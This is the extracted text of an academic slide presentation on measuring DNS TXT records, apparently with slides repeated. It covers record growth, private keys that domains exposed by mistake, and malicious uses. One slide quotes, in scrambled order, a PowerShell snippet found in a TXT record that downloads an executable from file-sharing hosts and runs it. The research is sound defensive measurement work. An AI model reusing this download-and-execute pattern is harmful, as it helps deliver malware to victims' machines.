TXTing 101: Finding Security Issues in the Long Tail of DNS TXT - PowerPoint PPT Presentation

TXTing 101: Finding Security Issues in the Long Tail of DNS TXT Records O. van der Toorn 1 R. van Rijswijk-Deij 1 T. Fiebig 2 M. Lindorfer 3 A. Sperotto 1 2020-08-21 1 University of Twente, 2 TU Delft, and 3 TU Wien

DNS TXT Records 1

DNS TXT Records 2 dig -t TXT 1.adventure.splode.com Contact details tide-project.nl o.i.vandertoorn@utwente.nl

Outline Background Evolution of TXT records Undefjned Purpose Mistakes with a Security Implication Malicious Use Cases Takeaways 3

Background

Background: DNS TXT records • Allows for a subtle way to add functionality. • RFC1464 tries to add structure by defjning a key-value store. • RFC5507 discouraged TXT for new expansions. • Common uses of TXT records are: SPF, DKIM and DMARC. 4

Background: DNS TXT records • Allows for a subtle way to add functionality. • RFC1464 tries to add structure by defjning a key-value store. • RFC5507 discouraged TXT for new expansions. • Common uses of TXT records are: SPF, DKIM and DMARC. 4

Background: DNS TXT records • Allows for a subtle way to add functionality. • RFC1464 tries to add structure by defjning a key-value store. • RFC5507 discouraged TXT for new expansions. • Common uses of TXT records are: SPF, DKIM and DMARC. 4

Background: DNS TXT records • Allows for a subtle way to add functionality. • RFC1464 tries to add structure by defjning a key-value store. • RFC5507 discouraged TXT for new expansions. • Common uses of TXT records are: SPF, DKIM and DMARC. 4

10 11 records). Dataset: OpenINTEL OpenINTEL an active DNS measurement platform. • 236 millon domains measured on a daily basis. • TXT records between 2015 and 2018 (1 2 5

10 11 records). Dataset: OpenINTEL OpenINTEL an active DNS measurement platform. • 236 millon domains measured on a daily basis. • TXT records between 2015 and 2018 (1 2 5

Dataset: OpenINTEL OpenINTEL an active DNS measurement platform. • 236 millon domains measured on a daily basis. 5 • TXT records between 2015 and 2018 (1 . 2 × 10 11 records).

Evolution of TXT records

6 Growth 200% Growth (%) 150% 100% 2015-07 2016-01 2016-07 2017-01 2017-07 2018-01 2018-07 Date Domains

Growth 6 200% Growth (%) 150% 100% 2015-07 2016-01 2016-07 2017-01 2017-07 2018-01 2018-07 Date TXT records Domains

TXT Records 7 80 M TXT records Number of 60 M 40 M 20 M 2015-07 2016-01 2016-07 2017-01 2017-07 2018-01 2018-07 Date Email Miscellaneous Patterns Verification Encoded Other

Other TXT Records 8 1 M TXT records Number of 500 k 0 2015-07 2016-01 2016-07 2017-01 2017-07 2018-01 2018-07 Date Malicious Unclassified Undefined Purpose Mistakes

Undefjned Purpose

• Single Character TXT records Undefjned Purpose Type of records in this category: • Base 64 Encoded MX Records • Empty, or executable references 9

• Single Character TXT records Undefjned Purpose Type of records in this category: • Base 64 Encoded MX Records • Empty, or executable references 9

Undefjned Purpose Type of records in this category: • Base 64 Encoded MX Records • Empty, or executable references • Single Character TXT records 9

Single Character Records wtmc@localhost:~$ dig -t TXT single_char.example.org single_char.example.org. 3600 IN TXT "@" 10

Single Character Records 11 "~" "0" "@" records (log) Number of 1 M 1 k 1 2015-07 2016-01 2016-07 2017-01 2017-07 2018-01 2018-07

Origin Tilde Character Records 12 40034 19905 13335 records (log) Number of 1 M 1 k 1 2015-10 2016-03 2016-08 2017-01 2017-06 2017-11 2018-04 2018-09

Single Character Records • Might be used to identify domains • Does not have a security impact 13

Single Character Records • Might be used to identify domains • Does not have a security impact 13

Mistakes with a Security Implication

• Public and Private Keys Mistakes with a Security Implication Type of records in this category: • Certifjcates 14

Mistakes with a Security Implication Type of records in this category: • Certifjcates 14 • Public and Private Keys

Public and Private Keys wtmc@localhost:~$ dig -t TXT key.example.org key.example.org. 3600 IN TXT "-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKukO1De7zhZj6+ H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZK jeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1/3j+skZ6UtW+5u 09lHNsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9T04ZZwIDAQAB -----END PUBLIC KEY-----" 15

Public and Private Keys 16 total public 120 private Number of records 100 80 60 40 20 0 2015-07 2016-01 2016-07 2017-01 2017-07 2018-01 2018-07

Public and Private Keys At 2018-12-31 there were 89 domains exposing keys: • 54 exposed a single key • 55.6% expose a private key • 35 exposed two keys • 94.3% expose a matching key pair 17

Public and Private Keys At 2018-12-31 there were 89 domains exposing keys: • 54 exposed a single key • 55.6% expose a private key • 35 exposed two keys • 94.3% expose a matching key pair 17

Public and Private Keys At 2018-12-31 there were 89 domains exposing keys: • 54 exposed a single key • 55.6% expose a private key • 35 exposed two keys • 94.3% expose a matching key pair 17

Public and Private Keys At 2018-12-31 there were 89 domains exposing keys: • 54 exposed a single key • 55.6% expose a private key • 35 exposed two keys • 94.3% expose a matching key pair 17

Public and Private Keys At 2018-12-31 there were 89 domains exposing keys: • 54 exposed a single key • 55.6% expose a private key • 35 exposed two keys • 94.3% expose a matching key pair 17

Public and Private Keys • May invalidate security measures like DKIM • Shows a misunderstanding of the security technology 18

Public and Private Keys • May invalidate security measures like DKIM • Shows a misunderstanding of the security technology 18

Malicious Use Cases

• PowerShell Malicious Use Cases Type of records in this category: • Commands • JavaScript 19

• PowerShell Malicious Use Cases Type of records in this category: • Commands • JavaScript 19

Malicious Use Cases Type of records in this category: • Commands • JavaScript 19 • PowerShell

PowerShell wtmc@localhost:~$ dig -t TXT powershell.example.org powershell.example.org. 3600 IN TXT ... 20

Powershell } rm $g sleep 180; }; start $g } ren $c t.exe; catch {$a.DownloadFile(\'https://files.fm/down.php?i=<CODE D>\', $c); start $g } ren $c t.exe; try {$a.DownloadFile(\'https://filebin.ca/<CODE C>\', $c); else { ren $c t.exe; start $g } $a=(new-object net.webclient); catch {$a.DownloadFile(\'https://files.fm/down.php?i=<CODE B>\', $c); start $g } ren $c t.exe; try {$a.DownloadFile(\'https://filebin.ca/<CODE A>\', $c); if (gci -Path $p | where {$_.Name -like \'v4*\'}) { $p=$w+\'//Microsoft.NET//Framework\'; $g=$b+\'//t.exe\'; $c=$b+\'//t.txt\'; $w=$Env:WINDIR; $b=$Env:APPDATA; 21

Bonus: Zoom verifjcation tokens 22 Adoption of Zoom verification tokens 14 k "regular" growth 2.19x more records WHO publishes news on the virus 12 k Many countries start to enforce WFH 500 .top domains adding Zoom tokens TXT record count Number of records 10 k 8 k 6 k 4 k 2 k 0 2019-01 2019-03 2019-05 2019-07 2019-09 2019-11 2020-01 2020-03 2020-05 2020-07 Date

Takeaways

Takeaways • The majority of DNS TXT use is well defjned. • We classify 99.54% of the TXT records in our dataset. 23

Takeaways • The majority of DNS TXT use is well defjned. • We classify 99.54% of the TXT records in our dataset. 23

Takeaways • The majority of DNS TXT use is well defjned. • We classify 99.54% of the TXT records in our dataset. 23

Takeaways Analyzing the tail of the TXT records is not only a needle in the haystack problem, but also becomes a human intelligence problem. 24

Takeaways Analyzing the tail of the TXT records is not only a needle in the haystack problem, but also becomes a human intelligence problem. 24 Used regular expressions tide-project.nl/blog/wtmc2020 Project website tide-project.nl